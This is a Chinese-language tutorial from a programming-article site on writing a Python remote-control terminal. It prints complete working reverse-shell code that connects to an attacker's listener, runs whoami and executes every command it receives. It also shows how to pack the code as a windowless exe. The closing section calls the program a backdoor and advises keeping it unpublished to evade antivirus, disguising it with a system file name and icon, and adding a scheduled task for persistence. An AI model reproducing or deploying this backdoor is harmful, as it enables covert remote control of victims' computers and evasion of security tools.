使用Python制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端
遠(yuǎn)控終端的本質(zhì)
1、服務(wù)端(攻擊者)傳輸消息 ----> socket連接 ----> 客戶端(被攻擊者)接收消息
2、客戶端執(zhí)行消息內(nèi)容(即執(zhí)行服務(wù)端傳回來的命令)
3、客戶端傳輸執(zhí)行結(jié)果 ----> socket連接 ----> 服務(wù)端顯示命令執(zhí)行結(jié)果
python制作簡(jiǎn)易的遠(yuǎn)控
1、環(huán)境
環(huán)境:PyCharm 2021.1.1 x64 + python3.8
2、新建項(xiàng)目
打開pycharm,直接新建一個(gè)純python項(xiàng)目。

將main.py文件中原有的代碼全部清空。

3、編寫程序
(1)導(dǎo)入需要使用的包
# 導(dǎo)入所需要的包 import os from socket import *
(2)創(chuàng)建main并配置socket套接字信息
#導(dǎo)入所需要的包
......
if __name__ == '__main__':
# 1、服務(wù)端IP地址
IP = "192.168.6.142"
# 2、服務(wù)端監(jiān)聽的端口PORT
PORT = 9999
# 3、socket套接字
socket_info = (IP, PORT)
(3)創(chuàng)建連接方法
#導(dǎo)入所需要的包
......
def remote_control(info):
# 初始化socket連接
skt = socket(AF_INET, SOCK_STREAM)
skt.connect(info)
# 獲得客戶端角色,便于服務(wù)端執(zhí)行下一步操作
host = os.popen("whoami").read().strip()
# 將客戶端角色在每次輸入命令的都顯示,美化格式
tips = f"$({host}) "
skt.send(tips.encode())
if __name__ == '__main__':
......
# 4、連接
remote_control(socket_info)
(4)接收服務(wù)端傳入的數(shù)據(jù)(即命令)
# 導(dǎo)入所需要的包
......
def remote_control(info):
# 初始化socket連接
......
skt.send(tips.encode())
# 建立持續(xù)連接
while True:
# 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個(gè)bit為一個(gè)單位
data = skt.recv(1024)
# 將接收的數(shù)據(jù)進(jìn)行utf-8解碼,并將左右空格去除
command = data.decode('utf-8').strip()
# 如果數(shù)據(jù)為exit,代表服務(wù)端想要斷開連接,直接退出程序
if command == 'exit':
skt.send("exit\n".encode())
exit(0)
if __name__ == '__main__':
......
(5)執(zhí)行服務(wù)端傳入的命令并將結(jié)果返回給服務(wù)端
# 導(dǎo)入所需要的包
......
def remote_control(info):
# 初始化socket連接
......
skt.send(tips.encode())
# 建立持續(xù)連接
while True:
# 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個(gè)bit為一個(gè)單位
......
if command == 'exit':
......
# 如果數(shù)據(jù)不為exit,執(zhí)行數(shù)據(jù)的內(nèi)容,即執(zhí)行服務(wù)端傳回來的命令,并將執(zhí)行結(jié)果存放在result中
result = os.popen(command).read()
# 將命令執(zhí)行的結(jié)果返回給服務(wù)端
skt.send((result + tips).encode())
# 關(guān)閉socket連接
skt.close()
if __name__ == '__main__':
......
代碼編寫完成!
(6)測(cè)試遠(yuǎn)控終端的可用性
打開一臺(tái)kali虛擬機(jī)(IP為192.168.6.142)作為服務(wù)端,使用nc監(jiān)聽9999端口。



連接成功,遠(yuǎn)控終端制作完成!
4、將python文件打包成exe文件
(1)pip工具安裝Pyinstaller模塊
Win+R打開運(yùn)行 --> 輸入cmd打開命令窗口
pip install Pyinstaller

(2)切換命令行的路徑到需要打包的Python源文件的文件夾路徑下
cd 文件路徑

(3)打包python文件為exe文件
Pyinstaller -F -w 文件名.py



打包成功!
打包完成后,在要打包文件的同級(jí)目錄下會(huì)新增一個(gè)dist文件夾,exe文件就在dist文件夾中。


(4)測(cè)試exe文件的可用性
kali服務(wù)端監(jiān)聽端口。

點(diǎn)擊運(yùn)行生成的exe文件。


連接成功!python制作遠(yuǎn)程控制終端完成!
制作遠(yuǎn)控終端的意義
本篇文章我們研究了python如何制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端,上篇我的文章研究了Java如何制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端。其實(shí),我們制作的這個(gè)遠(yuǎn)控終端就是一個(gè)后門程序。那么大家就想了,我們的CS跟MSF都可以生成后門程序,為什么我們還要自己制作呢?
這是因?yàn)?,我們不僅可以通過自己制作了解遠(yuǎn)控程序的原理。而且,由于CS跟MSF生成的后門程序特征比較明顯,很多殺毒軟件都會(huì)殺掉,即使沒有殺掉,兩三天以后也可能被殺軟殺掉,不能做到一個(gè)持續(xù)化的權(quán)限獲取,也就是權(quán)限維持。而我們自己制作后門程序,是我們自己寫的,并沒有被公開,殺軟就匹配不到我們的特征值,這樣殺軟就不會(huì)殺掉我們的后門程序。如果我們?cè)賹⑽覀兊暮箝T名稱改為系統(tǒng)文件的名稱,再改變圖標(biāo),把后門程序添加到計(jì)劃任務(wù)中,這樣我們就可以做到一個(gè)很好的一個(gè)權(quán)限維持。
附完整代碼
# 導(dǎo)入所需要的包
import os
from socket import *
def remote_control(info):
# 初始化socket連接
skt = socket(AF_INET, SOCK_STREAM)
skt.connect(info)
# 獲得客戶端角色,便于服務(wù)端執(zhí)行下一步操作
host = os.popen("whoami").read().strip()
# 將客戶端角色在每次輸入命令的都顯示,美化格式
tips = f"$({host}) "
skt.send(tips.encode())
# 建立持續(xù)連接
while True:
# 接收服務(wù)端傳入的數(shù)據(jù)(即命令),以1024個(gè)bit為一個(gè)單位
data = skt.recv(1024)
# 將接收的數(shù)據(jù)進(jìn)行utf-8解碼,并將左右空格去除
command = data.decode('utf-8').strip()
# 如果數(shù)據(jù)為exit,代表服務(wù)端想要斷開連接,直接退出程序
if command == 'exit':
skt.send("exit\n".encode())
exit(0)
# 如果數(shù)據(jù)不為exit,執(zhí)行數(shù)據(jù)的內(nèi)容,即執(zhí)行服務(wù)端傳回來的命令,并將執(zhí)行結(jié)果存放在result中
result = os.popen(command).read()
# 將命令執(zhí)行的結(jié)果返回給服務(wù)端
skt.send((result + tips).encode())
# 關(guān)閉socket連接
skt.close()
if __name__ == '__main__':
# 1、服務(wù)端IP地址
IP = "192.168.6.142"
# 2、服務(wù)端監(jiān)聽的端口PORT
PORT = 9999
# 3、socket套接字
socket_info = (IP, PORT)
# 4、連接
remote_control(socket_info)
以上就是使用Python制作一個(gè)簡(jiǎn)易的遠(yuǎn)控終端的詳細(xì)內(nèi)容,更多關(guān)于Python遠(yuǎn)控終端的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
解決python3報(bào)錯(cuò)之takes?1?positional?argument?but?2?were?gi
這篇文章主要介紹了解決python3報(bào)錯(cuò)之takes?1?positional?argument?but?2?were?given問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2024-03-03
PyTorch搭建LSTM實(shí)現(xiàn)多變量時(shí)序負(fù)荷預(yù)測(cè)
這篇文章主要為大家介紹了PyTorch搭建LSTM實(shí)現(xiàn)多變量時(shí)間序列預(yù)測(cè)及負(fù)荷預(yù)測(cè),有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-05-05
Python使用execjs執(zhí)行包含中文參數(shù)的JavaScript
爬蟲的開發(fā)過程中,往往需要對(duì)JS進(jìn)行模擬,簡(jiǎn)單或者通用的還可以在Python中模擬或者找到對(duì)應(yīng)的第三方庫,但是復(fù)雜的就可能不好實(shí)現(xiàn)了,下面這篇文章主要給大家介紹了關(guān)于Python使用execjs執(zhí)行包含中文參數(shù)的JavaScript的相關(guān)資料,需要的朋友可以參考下2022-03-03
python將字母轉(zhuǎn)化為數(shù)字實(shí)例方法
在本篇文章里小編給大家整理的是關(guān)于python如何將字母轉(zhuǎn)化為數(shù)字的相關(guān)實(shí)例內(nèi)容,有需要的朋友們可以學(xué)習(xí)下。2019-10-10
Pytorch基本變量類型FloatTensor與Variable用法
今天小編就為大家分享一篇Pytorch基本變量類型FloatTensor與Variable用法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2020-01-01
利用Python代碼實(shí)現(xiàn)一鍵摳背景功能
這篇文章主要給大家介紹了關(guān)于如何利用Python代碼實(shí)現(xiàn)一鍵摳背景的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用Python具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧2019-12-12

